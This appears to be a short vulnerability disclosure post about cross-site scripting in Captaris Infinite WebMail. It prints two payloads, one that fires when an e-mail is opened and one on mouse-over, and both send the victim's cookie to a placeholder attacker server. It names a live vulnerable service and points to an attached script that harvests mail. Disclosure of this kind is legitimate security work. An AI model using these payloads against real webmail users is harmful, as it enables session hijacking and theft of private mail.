I figured it was about time I hopped on the XSS band-wagon. Captaris (www.captaris.com) Infinite WebMail application is vulnerable to Cross-Site Scripting (XSS) attacks. The application fails to filter the following tags that can both be used to redirect a user to an attack script: Launch on e-mail open: <p style="left:expression(document.location= 'http://attackers.server/cgi-bin/logger.cgi?' +document.cookie)"> Launch on mouse over: <b onMouseOver= "document.location= 'http://attackers.server/cgi-bin/logger.cgi?' +document.cookie\"> I am sure there are other XSS attack methods that can also be utilized to bypass their basic filtering. A sample vulnerable service is provided by dog.com (www.dogmail.com), they are running WebMail v3.61.05. A sample cookie and mail logger script that will retrieve all of the messages in the users main mailbox has been attached, and can also be found at http://pedram.redhive.com/advisories/dogmail.cgi -pedram http://pedram.redhive.com